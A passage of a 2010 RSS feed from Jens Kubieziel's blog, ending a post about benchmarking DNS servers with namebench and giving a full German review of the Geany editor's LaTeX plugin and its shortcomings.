&lt;div style=&quot;float:right&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3703&amp;amp;entry_id=1343&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569644454/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Result by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm5.static.flickr.com/4063/4569644454_e7c8db4850_t.jpg&quot; width=&quot;100&quot; height=&quot;65&quot; alt=&quot;Result&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;The software will look up your browser history, collect some random hostnames and then run DNS queries. All those queries are benchmarked and in the end the software will tell you, which of the DNS servers was the fastest. In my case the answer was often Google&#039;s own servers, but at some occassions namebench came to different conclusions. In my opinion it&#039;s worth trying out.&lt;/p&gt;

&lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3704&amp;amp;entry_id=1343&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569645382/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Detailed result by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3486/4569645382_d8efa95b09_o.png&quot; width=&quot;638&quot; height=&quot;280&quot; alt=&quot;Detailed result&quot; /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3705&amp;amp;entry_id=1343&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569008283/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Response duration by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm5.static.flickr.com/4047/4569008283_1a9537aa75.jpg&quot; width=&quot;500&quot; height=&quot;298&quot; alt=&quot;Response duration&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3706&amp;amp;entry_id=1343&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569008955/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Response distribution by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3483/4569008955_2b3165c5e3.jpg&quot; width=&quot;500&quot; height=&quot;295&quot; alt=&quot;Response distribution&quot; /&gt;&lt;/a&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 02 May 2010 01:48:15 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1343-guid.html</guid>
    <category>dns</category>
<category>google</category>
<category>namebench</category>

</item>
<item>
    <title>Geany mit dem LaTeX-Plugin</title>
    <link>http://www.kubieziel.de/blog/archives/1342-Geany-mit-dem-LaTeX-Plugin.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1342-Geany-mit-dem-LaTeX-Plugin.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1342</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1342</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Heute geht es in der Reihe mit einem grafischen Programm weiter. &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3697&amp;amp;entry_id=1342&quot; title=&quot;http://frank.uvena.de/&quot;  onmouseover=&quot;window.status=&#039;http://frank.uvena.de/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Frank&lt;/a&gt; bewirbt schon lange
&lt;q&gt;sein&lt;/q&gt; Baby &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3698&amp;amp;entry_id=1342&quot; title=&quot;http://www.geany.org/&quot;  onmouseover=&quot;window.status=&#039;http://www.geany.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Geany&lt;/a&gt;. Das ist
ein Gtk-basierter Editor. Ich kenne einige Leute, die den gern
nutzen. Frank hat für Geany ein LaTeX-Plugin geschrieben. Daher kann
der Editor bequem mit LaTeX umgehen.&lt;/p&gt;

&lt;p&gt;Nach dem ersten Öffnen des Programms sieht man die Menüleiste und
drei Flächen, Symbole, Statusfenster und die Eingabefläche für den
Text. Das LaTeX-Plugin arbeitet nicht kontextbezogen, d.h. es ist
entweder immer an oder immer aus. Um es zu aktivieren, klickt man auf
&lt;kbd&gt;Werkzeuge -&amp;gt; Plugin Manager&lt;/kbd&gt; (Wieso fehlt hier eigentlich
der Trennstrich?) und aktiviert das Feld LaTeX. Damit erscheint im
Menü &lt;kbd&gt;Werkzeuge&lt;/kbd&gt; ein neuer Eintrag &lt;kbd&gt;LaTeX&lt;/kbd&gt;. Fortan
steht das Plugin zur Verfügung.&lt;/p&gt;

&lt;p&gt;Beim Öffnen einer leeren Datei passiert zunächst nichts. Startet
man beispielsweise mit der Eingabe von &lt;kbd&gt;\documentclass&lt;/kbd&gt;, so
bietet Geany nach den ersten drei Zeichen eine Vervollständigung
an. Bei mehreren Optionen kann der Nutzer mit der Cursor- oder
Maustaste das Gewünschte wählen. Schön wäre, wenn zusätzlich zum Namen
des Befehls geschweifte Klammern eingebaut werden würden. Weiterhin
würde ich mir bei Befehlen wie &lt;code&gt;\documentclass&lt;/code&gt; oder
&lt;code&gt;\usepackage&lt;/code&gt; eine Auswahlliste wünschen. Das vereinfacht
die Eingabe und vermeidet Fehler.&lt;/p&gt;

&lt;p&gt;Eine bequemere Variante ist der LaTeX-Assistent. Er ist über
&lt;kbd&gt;Werkzeuge -&amp;gt; LaTeX -&amp;gt; LaTeX-Assistent&lt;/kbd&gt; zu
erreichen. Über ein grafisches Menü kann der Nutzer wählen, welche
Klasse, Zeichensatz etc. er benutzen will. Bei der Dokumentklasse
bleibt im Menü unklar, welche Klassen (KOMA-Script, Beamer etc.)
verwendet werden. Weiterhin gibt es genau eine Brief-, Artikelklasse
usw. Während bei der Auswahl von Buch, Artikel und Bericht die
KOMA-Script-Klassen benutzt werden, wird bei der Auswahl von Brief die
Klasse &lt;code&gt;letter&lt;/code&gt; eingebunden. Ich würde mir entweder mehr
Auswahlmöglichkeiten oder eine bessere Bezeichnung im Menü
wünschen. Die Auswahl des Zeichensatzes birgt einen Bug. Wählt der
Nutzer &lt;q&gt;Sonstiges&lt;/q&gt; als Zeichensatz (Was soll das sein?), so
ergibt sich im Dokument die Ausgabe &lt;code&gt;\usepackage[%
\title{}&lt;/code&gt;, d.h. hier fehlt eine schließende Klammer und LaTeX
wird beim Übersetzen auf die Nase fallen. Das Menüfeld
&lt;q&gt;Schriftgröße&lt;/q&gt; bietet zum einen eine Vorauswahl, lässt sich aber
auch frei beschreiben. Der Grund wird mir nicht so recht
klar. Schließlich sind als Papiergröße nur A4, A5 und A6
gelistet. Gerade die gängigere Letter-Größe fehlt.&lt;/p&gt;

&lt;p&gt;Für den regelmäßigen Schreiber von LaTeX-Texten empfiehlt sich ein
Template. Diese Datei sollte im Verzeichnis
&lt;samp&gt;~/.config/geany/templates/files&lt;/samp&gt; liegen und die
Dateiendung &lt;code&gt;.tex&lt;/code&gt; besitzen. In dem Falle kann die Vorlage
über &lt;kbd&gt;Datei -&amp;gt; Neu (aus Vorlage)&lt;/kbd&gt; gewählt werden.&lt;/p&gt;

&lt;p&gt;Schließlich kann Geany bestehende Dateien öffnen. &lt;img src=&quot;http://www.kubieziel.de/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; Dabei liest
der Editor die Datei einmal komplett durch und versucht, Informationen
zu extrahieren. Diese finden sich in der linken Fläche
&lt;q&gt;Symbole&lt;/q&gt;. Dort sind Kommandos, Abschnittsüberschriften, Labels
etc. gelistet. Ich finde, gerade die Auflistung der
Abschnittsüberschriften hinterlässt mehr Verwirrung als Klarheit. Denn
zum einen sind diese alphabetisch geordnet und dann auch getrennt nach
Überschriftsebenen. Mir wäre es lieber, wenn sie nach dem Vorkommen im
Text geordnet wären. Die Liste der Umgebungen ist für mich ebenfalls
ohne Nutzwert, denn diese ist wieder alphabetisch geordnet und
verzeichnet nur den Namen der Umgebung (itemize, figure, table
etc.).&lt;/p&gt;

&lt;p&gt;Nun kommt der große Moment, wo wir Text eingeben können. Doch schon
die Eingabe einer Überschrift erscheint schwierig. Ich fand keine
Hilfe bei der Eingabe, außer der bereits oben erwähnten Auswahlliste
bei der Eingabe von drei Buchstaben. Doch gerade auf einer deutschen
Tastatur führt die häufige Eingabe des Backslash bei mir zu Schmerzen
in der Hand. Daher versuche ich das zu umgehen und Geany ist dann
direkt körperlich anstrengend. Umgebungen können mittels des Menüs
eingegeben werden. Meines Wissens gibt es hierfür keine standardmäßige
Tastaturkombination. Wenn man sich eine anlegt, wird die Arbeit
zumindest ein wenig erleichtert. Jedoch wäre es sehr wünschenswert,
wenn bei der Auswahl einer Liste gleich ein erstes &lt;code&gt;\item&lt;/code&gt;
eingefügt würde und bei der &lt;code&gt;table&lt;/code&gt;-Umgebung könnten
ähnlich zu AUCTeX gleich diverse Optionen abgefragt werden.&lt;/p&gt;

&lt;p&gt;Beim Mathesatz sieht die Lage nicht viel besser aus. Im
wesentlichen muss jedes Zeichen per Hand eingegeben werden. Das ist
eine Menge Tipparbeit und recht umständlich. Gerade für Anfänger kann
ich daher Geany nicht empfehlen. Denn ich vermute, die werden schnell
gefrustet sein.&lt;/p&gt;

&lt;p&gt;Alles in allem ist Geany für mich der erste Editor, den ich im
wesentlichen für nicht benutzbar halte (wohlgemerkt für meine
Zwecke!). Außer wenigen kleinen Änderungen in einer Datei möchte ich
keine größeren Änderungen an einer LaTeX-Datei vornehmen müssen. Denn
das fühlt sich umständlich an und wird in meinem Fall mit der Zeit
schmerzvoll.&lt;/p&gt;
  
    </content:encoded>

    <pubDate>Wed, 21 Apr 2010 16:50:27 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1342-guid.html</guid>
    <category>editor</category>
<category>geany</category>
<category>latex</category>

</item>

</channel>
</rss>